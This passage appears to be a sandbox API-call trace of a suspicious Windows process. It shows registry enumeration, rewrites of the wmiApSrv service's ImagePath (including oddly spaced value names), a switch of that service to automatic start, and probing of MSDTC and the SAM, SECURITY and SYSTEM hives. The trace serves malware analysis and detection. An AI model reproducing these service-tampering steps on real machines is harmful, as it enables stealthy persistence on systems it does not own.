lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.363] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.363] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.363] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.363] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.363] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.363] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.363] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.363] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.364] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.364] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.364] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0256.364] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0256.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0256.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0256.364] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0256.364] LocalFree (hMem=0x7f03d0) returned 0x0 [0256.364] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0256.364] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x8038a0 [0256.365] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0256.366] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.366] RegCloseKey (hKey=0x148) returned 0x0 [0256.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0256.366] RegCloseKey (hKey=0x154) returned 0x0 [0256.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0256.366] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0256.366] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0256.367] GetLastError () returned 0x20 [0256.367] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0256.367] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0256.367] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0256.367] OpenServiceW (hSCManager=0x803918, lpServiceName="MSDTC", dwDesiredAccess=0x20) returned 0x803990 [0256.368] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0256.368] GetLastError () returned 0x426 [0256.368] CloseServiceHandle (hSCObject=0x803990) returned 1 [0256.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0256.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0256.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0256.368] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0256.369] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0256.369] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0256.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0256.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.369] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0256.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0256.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.369] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0256.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0256.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.369] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0256.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0256.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.370] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0256.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0256.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.370] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0256.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0256.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.370] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0256.370] RegCloseKey (hKey=0x80000002) returned 0x0 [0256.370] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0256.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0256.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0256.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0256.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0256.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0256.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f19b8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0256.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0256.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0256.371] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.371] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0256.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0256.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0256.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0256.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0256.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0256.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.372] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0256.372] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0256.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0256.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 